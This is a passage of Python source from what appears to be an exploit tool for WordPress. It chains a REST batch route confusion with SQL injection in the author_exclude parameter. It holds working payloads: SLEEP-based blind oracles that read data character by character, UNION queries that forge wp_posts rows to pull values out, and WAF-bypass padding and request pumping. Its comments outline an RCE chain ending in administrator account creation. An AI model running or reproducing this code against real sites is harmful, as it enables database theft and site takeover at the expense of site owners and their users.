if method in ("auto", "union"):
for slot in slots:
self._set_slot(slot)
for d in deliveries:
self._set_delivery(d)
if self._union_confirms():
return {"vulnerable": True, "method": "union", "delivery": d,
"slot": slot, "time": None}
self.union = False
if method == "union":
neg = deliveries[0] if deliveries else self._delivery_name()
self._set_delivery(neg)
return {"vulnerable": False, "method": "union", "delivery": neg,
"slot": slots[0], "time": None}
# 1) boolean oracle across slot x delivery (each is cheap: 2 requests)
if method in ("auto", "boolean"):
for slot in slots:
self._set_slot(slot)
for d in deliveries:
self._set_delivery(d)
boo = self.detect_boolean()
boo_by_key[(slot, d)] = boo
if boo["vulnerable"]:
return {"vulnerable": True, "method": "boolean", "delivery": d,
"slot": slot, "boolean": boo}
# 2) time oracle. Run it once, on a slot/delivery already proven to reach the batch
# handler (avoids paying the SLEEP cost twice); fall back to the first candidate.
last_time = None
if method in ("auto", "time"):
proc = [k for k, b in boo_by_key.items() if b.get("processed")]
for (slot, d) in (proc[:1] or [(slots[0], deliveries[0])]):
self._set_slot(slot)
self._set_delivery(d)
det = self.detect(rounds=rounds)
last_time = (slot, d, det)
if det["vulnerable"]:
return {"vulnerable": True, "method": "time", "delivery": d,
"slot": slot, "time": det}
# nothing confirmed
if last_time:
neg_slot, neg_delivery = last_time[0], last_time[1]
else:
neg_slot = slots[0]
neg_delivery = deliveries[0] if deliveries else self._delivery_name()
self._set_slot(neg_slot)
self._set_delivery(neg_delivery)
return {"vulnerable": False, "method": None, "delivery": neg_delivery, "slot": neg_slot,
"boolean": boo_by_key, "time": (last_time[2] if last_time else None)}
# -- bounded read-only proof -------------------------------------------
def _oracle(self, cond, unit=0.6):
payload = "%s) OR (SELECT 1 FROM (SELECT IF((%s),SLEEP(%g),0))x)-- -" % (self._pad(), cond, unit)
_, el = self.probe(payload)
return el > (self._base + unit * 0.6) # relative to measured baseline (latency-safe)
def read_scalar(self, expr, maxlen=40, unit=0.6):
if self.union:
v = self._union_read(expr)
return v if v is not None else ""
v = "COALESCE((%s),'')" % expr
lo, hi = 0, maxlen
while lo < hi:
mid = (lo + hi + 1) // 2
if self._oracle("CHAR_LENGTH(%s)>=%d" % (v, mid), unit):
lo = mid
else:
hi = mid - 1
out = ""
for pos in range(1, lo + 1):
a, b = 32, 126
while a < b:
mid = (a + b + 1) // 2
if self._oracle("ASCII(SUBSTRING(%s,%d,1))>=%d" % (v, pos, mid), unit):
a = mid
else:
b = mid - 1
out += chr(a)
return out
def read_int(self, query, unit=0.6):
if self.union:
v = self._union_read(query)
try:
return int(v)
except (TypeError, ValueError):
return 0
expr = "COALESCE((%s),0)" % query
lo, hi = 0, 1
while self._oracle("%s >= %d" % (expr, hi), unit):
lo, hi = hi, hi * 2
while lo < hi:
mid = (lo + hi + 1) // 2
if self._oracle("%s >= %d" % (expr, mid), unit):
lo = mid
else:
hi = mid - 1
return lo
# -- UNION-based extraction (single request per value) -------------------
# A 23-column UNION forges one wp_posts row whose post_content carries the target
# expression; the route confusion delivers it past REST arg validation and per_page
# >=500 keeps WP_Query on the single-query path so the columns align and the posts
# controller serializes our row. We wrap the value in a random marker so it survives
# the_content filters (wpautop/wptexturize) and can be sliced back out of the response.
# Much faster than the blind boolean/time oracle: one HTTP round-trip per value.
def _union_row(self, content_expr, title_expr="0x78"):
"""23-column wp_posts row with a raw SQL expression in post_content (col 5)."""
h = self._hex
return ",".join((
"1", "1",
h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"),
content_expr, title_expr, "''",
h("publish"), h("closed"), h("closed"), "''",
h("x"), "''", "''",
h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"), "''",
"0", "''", "0",
h("post"), "''", "0",
))
def _union_batch(self, query, timeout=60):
"""Deliver a UNION injection via the route confusion, honoring delivery."""
inner = [
{"method": "GET", "path": self.PRIMER},
{"method": "GET", "path": "/wp/v2/widgets?" + urllib.parse.urlencode(
{"author_exclude": query, "per_page": 500, "page": 1,
"orderby": "none", "context": "view"})},
{"method": "GET", "path": "/wp/v2/posts"},
]
return self._send_envelope({"requests": [
{"method": "POST", "path": self.PRIMER},
{"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner}},
{"method": "POST", "path": "/batch/v1"},
]}, timeout=timeout)
@staticmethod
def _walk_strings(obj):
"""Yield every string value in a nested dict/list (batch response body)."""
if isinstance(obj, dict):
for v in obj.values():
yield from Target._walk_strings(v)
elif isinstance(obj, list):
for v in obj:
yield from Target._walk_strings(v)
elif isinstance(obj, str):
yield obj
def _union_read(self, expr):
"""Extract one scalar via UNION reflection. Returns the string, or None if the
marker never came back (reflection blocked / not vulnerable)."""
self._normalize_base()
tok = secrets.token_hex(5)
mark = "0x" + tok.encode().hex() # marker as a hex literal for SQL
content = "CONCAT(%s,IFNULL((%s),0x2d),%s)" % (mark, expr, mark)
# leading junk-integer pad (WAF signature bypass) as the IN() operand, like the
# blind oracle payloads -- keeps the injection consistent across all modes.
query = "%s) AND 1=0 UNION ALL SELECT %s-- -" % (self._pad(), self._union_row(content))
raw = self._union_batch(query)
pat = re.compile(re.escape(tok) + r"(.*?)" + re.escape(tok), re.S)
# Parse the batch JSON and walk it, so string escapes (\/ , \uXXXX) are decoded
# by the parser; fall back to a raw-text scan if the body isn't clean JSON.
try:
haystacks = self._walk_strings(json.loads(raw))
except ValueError:
haystacks = [raw.decode("utf-8", "replace")]
for s in haystacks:
m = pat.search(s)
if m:
inner = re.sub(r"<[^>]+>", "", m.group(1)) # strip wpautop wrapping...
return html_mod.unescape(inner).strip() # ...then decode HTML entities
return None
def read_union(self, expr):
"""Public single-request UNION read (returns '' if nothing reflected)."""
v = self._union_read(expr)
return v if v is not None else ""
# -- RCE: row forgery + oEmbed → changeset → re-entry → admin creation ----
# Chain researched by Mustafa Can İPEKÇİ (nukedx),
# building on the route confusion + SQLi by Adam Kues (Assetnote).
PRIMER = "http://:"
EMBED_ATTR = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
def _send_envelope(self, envelope, timeout=None):
"""POST a batch <envelope> honoring the selected delivery. Under multipart the
whole nested batch rides as a rest_route form on POST / (same shape _send uses),
so the RCE forge/extraction requests go over the wire identically to detection —
instead of always falling back to a JSON batch POST."""
if self.multipart:
fields = [("rest_route", "/batch/v1"), ("validation", "normal")]
fields += self._flatten_fields(envelope)
if self.bypass:
fields = self._pump_multipart_fields(fields)
ctype, body = self._multipart_encode(fields)
ep = self._mp_ep or (self.base + "/")
hdrs = {"Content-Type": ctype}
elif self.bypass:
# request pumping technique: junk-padded JSON body to /?rest_route=/batch/v1
pumped = self._pump_envelope(envelope)
body = json.dumps(pumped).encode()
ep = self.base + "/?rest_route=/batch/v1"
hdrs = {"Content-Type": "application/json"}
else:
ep = self.batch or self._endpoints()[0]
body = json.dumps(envelope).encode()
hdrs = {"Content-Type": "application/json"}
# When bypass is active, use http.client for precise header control
if self.cookies or self.bypass:
_, _, resp_body, _ = self._lowlevel(
ep, data=body, headers=hdrs, method="POST",
timeout=timeout or self.timeout)
return resp_body
req = urllib.request.Request(ep, data=body, headers=hdrs, method="POST")
try:
with self.opener.open(req, timeout=timeout or self.timeout) as resp:
return resp.read()
except urllib.error.HTTPError as e:
return e.read()
def _rce_send(self, inner_requests, timeout=None):
return self._send_envelope({"requests": [
{"method": "POST", "path": self.PRIMER},
{"method": "POST", "path": "/wp/v2/posts",
"body": {"requests": inner_requests}},
{"method": "POST", "path": "/batch/v1"},
]}, timeout=timeout)
@staticmethod
def _hex(value):
return "0x%s" % value.encode().hex() if value else "''"
def _post_row(self, post_id, content, title, status, name, parent, post_type):
h = self._hex
return ",".join((
str(post_id), "1",
h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"),
h(content), h(title), "''",
h(status), h("closed"), h("closed"), "''",
h(name), "''", "''",
h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"), "''",
str(parent), "''", "0",
h(post_type), "''", "0",
))
# per_page=-1 empties $limits so WP_Query runs the single-phase `SELECT wp_posts.*` (23
# columns) our UNION forges into — this is the WRITE path (the forged row is rendered,
# creating the oembed_cache row as a side effect). per_page=-1 also makes get_items return
# rest_post_invalid_page_number, so the rows are prepared but NOT echoed in the response.
# For the READ path (_inband_read) we instead pass per_page>=500: WordPress disables
# split_the_query when posts_per_page>=500, keeping the single-phase 23-column SELECT while
# avoiding the page-number error, so the forged rows come back in the response body.
READ_PER_PAGE = 100000
def _forge(self, rows, extra_requests=(), per_page=-1):
query = ("%s) AND 1=0 UNION ALL SELECT " % self._pad()
+ " UNION ALL SELECT ".join(rows) + " -- -")
return self._rce_send([
{"method": "GET", "path": self.PRIMER},
{"method": "GET", "path": "/wp/v2/widgets?"
+ urllib.parse.urlencode({"author_exclude": query, "per_page": per_page,
"orderby": "none", "context": "view"})},
{"method": "GET", "path": "/wp/v2/posts"},
*extra_requests,
], timeout=60)
# -- in-band UNION read -------------------------------------------------
def _read_row(self, post_id, title_sql):
"""A forged posts row whose post_title is a RAW SQL expression (not a hex literal),
published/post so the REST posts controller serializes title.rendered."""
h = self._hex
d = h("2020-01-01 00:00:00")
return ",".join((
str(post_id), "1", d, d,
"''", title_sql, "''",
h("publish"), h("closed"), h("closed"), "''",
h("rd%d" % post_id), "''", "''",
d, d, "''",
"0", "''", "0",
h("post"), "''", "0",
))
def _inband_read(self, exprs, timeout=60):
markers = ["MK" + "".join(secrets.choice("GHJKLMNPQRSTVWXYZ") for _ in range(9))